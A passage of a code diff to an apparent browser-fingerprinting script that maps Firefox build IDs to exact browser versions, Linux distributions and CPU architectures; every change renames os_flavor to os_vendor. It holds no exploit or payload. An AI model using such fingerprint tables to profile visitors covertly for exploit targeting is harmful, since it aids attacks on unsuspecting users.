+			case "2008092313": ua_version = "3.0.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2008092416": ua_version = "3.0.3"; os_name = oses_linux; break;
 			case "2008092417": ua_version = "3.0.3"; os_name = oses_windows; break;
-			case "2008092510": ua_version = "3.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+			case "2008092510": ua_version = "3.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2008101315":
 				switch (navigator.productSub) {
 					case "2008101315": ua_version = "3.0.3"; os_name = oses_linux; break;
@@ -373,63 +380,63 @@ os_detect.getVersion = function(){
 				} break;
 			case "2008102918": ua_version = "2.0.0.18"; os_name = oses_windows; break;
 			case "2008102920": ua_version = "3.0.4"; break;
-			case "2008112309": ua_version = "3.0.4"; os_name = oses_linux; os_flavor = "Debian"; break; // browsershots: Iceweasel 3.0.4 / Debian Testing (Lenny)
-			case "2008111317": ua_version = "3.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2008111318": ua_version = "3.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
+			case "2008112309": ua_version = "3.0.4"; os_name = oses_linux; os_vendor = "Debian"; break; // browsershots: Iceweasel 3.0.4 / Debian Testing (Lenny)
+			case "2008111317": ua_version = "3.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2008111318": ua_version = "3.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
 			case "2008120119": ua_version = "2.0.0.19"; os_name = oses_windows; break;
 			case "2008120121": ua_version = "3.0.5"; os_name = oses_linux; break;
 			case "2008120122": ua_version = "3.0.5"; os_name = oses_windows; break;
-			case "2008121623": ua_version = "2.0.0.19"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // browsershots: Firefox 2.0.0.19 / Ubuntu 8.04 LTS (Hardy Heron)
+			case "2008121623": ua_version = "2.0.0.19"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // browsershots: Firefox 2.0.0.19 / Ubuntu 8.04 LTS (Hardy Heron)
 			case "2008121709": ua_version = "2.0.0.20"; os_name = oses_windows; break;
 			case "2009011912": ua_version = "3.0.6"; os_name = oses_linux; break;
 			case "2009011913": ua_version = "3.0.6"; os_name = oses_windows; break;
-			case "2009012615": ua_version = "3.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2009012616": ua_version = "3.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+			case "2009012615": ua_version = "3.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2009012616": ua_version = "3.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2009021906": ua_version = "3.0.7"; os_name = oses_linux; break;
 			case "2009021910": ua_version = "3.0.7"; os_name = oses_windows; break;
-			case "2009030422": ua_version = "3.0.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+			case "2009030422": ua_version = "3.0.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2009032608": ua_version = "3.0.8"; os_name = oses_linux; break;
 			case "2009032609": ua_version = "3.0.8"; os_name = oses_windows; break;
-			case "2009032711": ua_version = "3.0.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+			case "2009032711": ua_version = "3.0.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 			case "2009033100":
 				switch (navigator.productSub) {
-					case "2009033100": ua_version = "3.0.8"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
-					case "2009042113": ua_version = "3.0.9"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+					case "2009033100": ua_version = "3.0.8"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
+					case "2009042113": ua_version = "3.0.9"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 				} break;
 			case "2009040820": ua_version = "3.0.9"; os_name = oses_linux; break;
 			case "2009040821": ua_version = "3.0.9"; os_name = oses_windows; break;
-			case "2009042113": ua_version = "3.0.10"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "2009042114": ua_version = "3.0.10"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
+			case "2009042113": ua_version = "3.0.10"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "2009042114": ua_version = "3.0.10"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
 			case "2009042315": ua_version = "3.0.10"; os_name = oses_linux; break;
 			case "2009042316": ua_version = "3.0.10"; os_name = oses_windows; break;
-			case "20090427153806": ua_version = "3.5.0.b4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20090427153807": ua_version = "3.5.0.b4"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
+			case "20090427153806": ua_version = "3.5.0.b4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20090427153807": ua_version = "3.5.0.b4"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
 			case "2009060214": ua_version = "3.0.11"; os_name = oses_linux; break;
 			case "2009060215": ua_version = "3.0.11"; os_name = oses_windows; break;
 			case "2009060308":
 				switch (navigator.productSub) {
-					case "2009060308": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-					case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+					case "2009060308": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+					case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 				} break;
 			case "2009060309":
 				switch (navigator.productSub) {
-					case "2009060309": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
-					case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
+					case "2009060309": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
+					case "2009070811": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
 				} break;
-			case "2009060310": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "BackTrack"; break;
-			case "2009062005": ua_version = "3.0.11"; os_name = oses_linux; os_flavor = "PCLunixOS"; break;
+			case "2009060310": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "BackTrack"; break;
+			case "2009062005": ua_version = "3.0.11"; os_name = oses_linux; os_vendor = "PCLunixOS"; break;
 			case "20090624012136": ua_version = "3.5.0"; os_name = oses_mac_osx; break;
 			case "20090624012820": ua_version = "3.5.0"; os_name = oses_linux; break;
-			case "20090701234143": ua_version = "3.5.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20090702060527": ua_version = "3.5.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20090701234143": ua_version = "3.5.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20090702060527": ua_version = "3.5.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
 			case "2009070610": ua_version = "3.0.12"; os_name = oses_linux; break;
 			case "2009070611": ua_version = "3.0.12"; os_name = oses_windows; break;
-			case "2009070811": ua_version = "3.0.13"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
+			case "2009070811": ua_version = "3.0.13"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
 			case "20090715083437": ua_version = "3.5.1"; os_name = oses_mac_osx; break;
 			case "20090715083816": ua_version = "3.5.1"; os_name = oses_linux; break;
 			case "20090715094852": ua_version = "3.5.1"; os_name = oses_windows; break;
-			case "2009072202": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "Oracle"; break;
-			case "2009072711": ua_version = "3.0.12"; os_name = oses_linux; os_flavor = "CentOS"; break;
+			case "2009072202": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "Oracle"; break;
+			case "2009072711": ua_version = "3.0.12"; os_name = oses_linux; os_vendor = "CentOS"; break;
 			case "20090729211433": ua_version = "3.5.2"; os_name = oses_mac_osx; break;
 			case "20090729211829": ua_version = "3.5.2"; os_name = oses_linux; break;
 			case "20090729225027": ua_version = "3.5.2"; os_name = oses_windows; break;
@@ -439,34 +446,34 @@ os_detect.getVersion = function(){
 			case "20090824085743": ua_version = "3.5.3"; os_name = oses_linux; break;
 			case "20090824101458": ua_version = "3.5.3"; os_name = oses_windows; break;
 			case "2009082707": ua_version = "3.0.14"; break;
-			case "2009090216": ua_version = "3.0.14"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20090914014745": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break;
-			case "20090915065903": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break;
-			case "20090915070141": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break;
-			case "20091007090112": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
-			case "20091007095328": ua_version = "3.5.3"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
+			case "2009090216": ua_version = "3.0.14"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20090914014745": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break;
+			case "20090915065903": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break;
+			case "20090915070141": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break;
+			case "20091007090112": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
+			case "20091007095328": ua_version = "3.5.3"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
 			case "2009101600":
 				switch (navigator.productSub) {
 					case "2009101600": ua_version = "3.0.15"; break; // Can be either Mac or Linux
-					case "20091016": ua_version = "3.5.4"; os_name = oses_linux; os_flavor = "SUSE"; arch = arch_x86; break;
+					case "20091016": ua_version = "3.5.4"; os_name = oses_linux; os_vendor = "SUSE"; arch = arch_x86; break;
 				} break;
 			case "2009101601": ua_version = "3.0.15"; os_name = oses_windows; break;
 			case "20091016081620": ua_version = "3.5.4"; os_name = oses_mac_osx; break;
 			case "20091016081727": ua_version = "3.5.4"; os_name = oses_linux; break;
 			case "20091016092926": ua_version = "3.5.4"; os_name = oses_windows; break;
-			case "20091020122601": ua_version = "3.5.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
+			case "20091020122601": ua_version = "3.5.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
 			case "2009102814":
 				switch (navigator.productSub) {
-					case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
-					case "2009121602": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
-					case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Mint"; break;
-					case "2010021501": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86; break;
-					case "2010021502": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_flavor = "Mint"; arch = arch_x86_64; break;
+					case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
+					case "2009121602": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
+					case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Mint"; break;
+					case "2010021501": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86; break;
+					case "2010021502": ua_version = "3.0.17;xul1.9.0.18"; os_name = oses_linux; os_vendor = "Mint"; arch = arch_x86_64; break;
 				} break;
 			case "2009102815":
 				switch (navigator.productSub) {
-					case "2009102815": ua_version = "3.0.15"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-					case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+					case "2009102815": ua_version = "3.0.15"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+					case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 				} break;
 			case "20091029152254": ua_version = "3.6.0.b1"; os_name = oses_linux; break;
 			case "20091029171059": ua_version = "3.6.0.b1"; os_name = oses_windows; break;
@@ -474,23 +481,23 @@ os_detect.getVersion = function(){
 			case "20091102141836": ua_version = "3.5.5"; os_name = oses_linux; break;
 			case "20091102152451": ua_version = "3.5.5"; os_name = oses_windows; break;
 			case "2009110421": ua_version = "3.0.15"; os_name = oses_freebsd; arch = arch_x86; break;
-			case "20091106091959": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break;
-			case "20091106140514": ua_version = "3.5.5"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20091106145609": ua_version = "3.5.5"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20091106091959": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break;
+			case "20091106140514": ua_version = "3.5.5"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20091106145609": ua_version = "3.5.5"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
 			case "20091108163911": ua_version = "3.6.0.b2"; os_name = oses_linux; break;
 			case "20091108181924": ua_version = "3.6.0.b2"; os_name = oses_windows; break;
 			case "20091109125225":
 				switch (navigator.productSub) {
-					case "20091109": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-					case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
+					case "20091109": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+					case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
 				} break;
-			case "20091109134913": ua_version = "3.5.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20091109134913": ua_version = "3.5.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
 			case "20091115172547": ua_version = "3.6.0.b3"; os_name = oses_linux; break;
 			case "20091115182845": ua_version = "3.6.0.b3"; os_name = oses_windows; break;
 			case "20091124201530": ua_version = "3.6.0.b4"; os_name = oses_mac_osx; break;
 			case "20091124201751": ua_version = "3.6.0.b4"; os_name = oses_linux; break;
 			case "20091124213835": ua_version = "3.6.0.b4"; os_name = oses_windows; break;
-			case "2009120100": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "SUSE"; break;
+			case "2009120100": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "SUSE"; break;
 			case "20091201203240": ua_version = "3.5.6"; os_name = oses_mac_osx; break;
 			case "20091201204959": ua_version = "3.5.6"; os_name = oses_linux; break;
 			case "20091201220228": ua_version = "3.5.6"; os_name = oses_windows; break;
@@ -499,74 +506,74 @@ os_detect.getVersion = function(){
 			case "20091204132459": ua_version = "3.6.0.b5"; os_name = oses_linux; break;
 			case "20091204132509": ua_version = "3.6.0.b5"; os_name = oses_mac_osx; break;
 			case "20091204143806": ua_version = "3.6.0.b5"; os_name = oses_windows; break;
-			case "20091215230859": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20091215230946": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20091215231400": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
+			case "20091215230859": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20091215230946": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20091215231400": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
 			case "20091215231754":
 				switch (navigator.productSub) {
-					case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-					case "20100106": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
+					case "20091215": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+					case "20100106": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
 				} break;
 			case "2009121601":
 				switch (navigator.productSub) {
-					case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-					case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Ubuntu"; break; // Could also be Mint x86-64
+					case "2009121601": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+					case "2010010604": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Ubuntu"; break; // Could also be Mint x86-64
 				} break;
-			case "2009121602": ua_version = "3.0.17"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
-			case "20091216104148": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Mandriva"; break;
-			case "20091216132458": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20091216132537": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20091216142458": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20091216142519": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "2009121708": ua_version = "3.0.16"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break;
+			case "2009121602": ua_version = "3.0.17"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
+			case "20091216104148": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Mandriva"; break;
+			case "20091216132458": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20091216132537": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20091216142458": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20091216142519": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "2009121708": ua_version = "3.0.16"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break;
 			case "20091221151141": ua_version = "3.5.7"; os_name = oses_mac_osx; break;
 			case "20091221152502": ua_version = "3.5.7"; os_name = oses_linux; break;
 			case "2009122115": ua_version = "3.0.17"; break; // Can be either Mac or Linux
 			case "20091221164558": ua_version = "3.5.7"; os_name = oses_windows; break;
 			case "2009122116": ua_version = "3.0.17"; os_name = oses_windows; break;
-			case "2009122200": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "SUSE"; break;
-			case "20091223231431": ua_version = "3.5.6"; os_name = oses_linux; os_flavor = "PCLunixOS"; arch = arch_x86; break;
+			case "2009122200": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "SUSE"; break;
+			case "20091223231431": ua_version = "3.5.6"; os_name = oses_linux; os_vendor = "PCLunixOS"; arch = arch_x86; break;
 			case "20100105194006": ua_version = "3.6.0.rc1"; os_name = oses_mac_osx; break;
 			case "20100105194116": ua_version = "3.6.0.rc1"; os_name = oses_linux; break;
 			case "20100105212446": ua_version = "3.6.0.rc1"; os_name = oses_windows; break;
-			case "2010010604": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "Ubuntu"; break;
-			case "20100106054534": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
-			case "20100106054634": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
-			case "2010010605": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100106211825": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20100106212742": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
-			case "20100106215614": ua_version = "3.5.7"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20100110112429": ua_version = "3.5.7"; os_name = oses_linux; os_flavor = "Mandriva"; break;
+			case "2010010604": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "Ubuntu"; break;
+			case "20100106054534": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
+			case "20100106054634": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
+			case "2010010605": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100106211825": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20100106212742": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20100106215614": ua_version = "3.5.7"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20100110112429": ua_version = "3.5.7"; os_name = oses_linux; os_vendor = "Mandriva"; break;
 			case "20100115132715": ua_version = "3.6.0"; os_name = oses_mac_osx; break;
 			case "20100115133306": ua_version = "3.6.0"; os_name = oses_linux; break;
 			case "20100115144158": ua_version = "3.6.0"; os_name = oses_windows; break;
-			case "20100125074043": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
-			case "20100125074127": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
-			case "20100125204847": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86; break; // Could also be Mint x86
-			case "20100125204903": ua_version = "3.6.0"; os_name = oses_linux; os_flavor = "Sabayon"; arch = arch_x86_64; break; // Could also be Mint x86-64
+			case "20100125074043": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break; // Could also be Mint x86
+			case "20100125074127": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break; // Could also be Mint x86-64
+			case "20100125204847": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86; break; // Could also be Mint x86
+			case "20100125204903": ua_version = "3.6.0"; os_name = oses_linux; os_vendor = "Sabayon"; arch = arch_x86_64; break; // Could also be Mint x86-64
 			case "20100202152834": ua_version = "3.5.8"; os_name = oses_mac_osx; break;
 			case "20100202153512": ua_version = "3.5.8"; os_name = oses_linux; break;
 			case "20100202165920": ua_version = "3.5.8"; os_name = oses_windows; break;
 			case "2010020219": ua_version = "3.0.18"; os_name = oses_mac_osx; break;
 			case "2010020220": ua_version = "3.0.18"; os_name = oses_windows; break;
-			case "2010020400": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "SUSE"; break;
-			case "20100212131909": ua_version = "3.6.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100212132013": ua_version = "3.6.0.2"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100216105329": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20100216105348": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20100216105410": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20100216110009": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "2010021718": ua_version = "3.0.18"; os_name = oses_linux; os_flavor = "CentOS"; arch = arch_x86; break;
-			case "20100218022359": ua_version = "3.6.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100218022705": ua_version = "3.6.0.4"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100218112915": ua_version = "3.5.8"; os_name = oses_linux; os_flavor = "Mandriva"; arch = arch_x86; break;
-			case "20100222120605": ua_version = "3.6.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100222120717": ua_version = "3.6.0.5"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
-			case "20100301015346": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20100305054927": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
-			case "20100307204001": ua_version = "3.6.0"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86; break;
-			case "20100308142847": ua_version = "3.6.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86; break;
-			case "20100308151019": ua_version = "3.6.0.6"; os_name = oses_linux; os_flavor = "Ubuntu"; arch = arch_x86_64; break;
+			case "2010020400": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "SUSE"; break;
+			case "20100212131909": ua_version = "3.6.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100212132013": ua_version = "3.6.0.2"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100216105329": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "20100216105348": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20100216105410": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86; break;
+			case "20100216110009": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Fedora"; arch = arch_x86_64; break;
+			case "2010021718": ua_version = "3.0.18"; os_name = oses_linux; os_vendor = "CentOS"; arch = arch_x86; break;
+			case "20100218022359": ua_version = "3.6.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100218022705": ua_version = "3.6.0.4"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100218112915": ua_version = "3.5.8"; os_name = oses_linux; os_vendor = "Mandriva"; arch = arch_x86; break;
+			case "20100222120605": ua_version = "3.6.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100222120717": ua_version = "3.6.0.5"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
+			case "20100301015346": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20100305054927": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86_64; break;
+			case "20100307204001": ua_version = "3.6.0"; os_name = oses_freebsd; os_vendor = "PC-BSD"; arch = arch_x86; break;
+			case "20100308142847": ua_version = "3.6.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86; break;
+			case "20100308151019": ua_version = "3.6.0.6"; os_name = oses_linux; os_vendor = "Ubuntu"; arch = arch_x86_64; break;
 			case "2010031218": ua_version = "3.0.19"; break; // Mac OS X or Linux
 			case "2010031422": ua_version = "3.0.19"; os_name = oses_windows; break;
 			case "20100315075757": ua_version = "3.5.9"; os_name = oses_linux; break;
@@ -575,48 +582,48 @@ os_detect.getVersion = function(){
 			case "20100316055951": ua_version = "3.6.2"; os_name = oses_mac_osx; break;
 			case "20100316060223": ua_version = "3.6.2"; os_name = oses_linux; break;
 			case "20100316074819": ua_version = "3.6.2"; os_name = oses_windows; break;
-			case "2010031700": ua_version = "3.5.9"; os_name = oses_linux; os_flavor = "SUSE"; break;
-			case "20100323102218": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86_64; break;
-			case "20100323102339": ua_version = "3.6.2"; os_name = oses_linux; os_flavor = "Fedora"; arch = arch_x86; break;
-			case "20100323194640": ua_version = "3.6.2"; os_name = oses_freebsd; os_flavor = "PC-BSD"; arch = arch_x86_64; break;
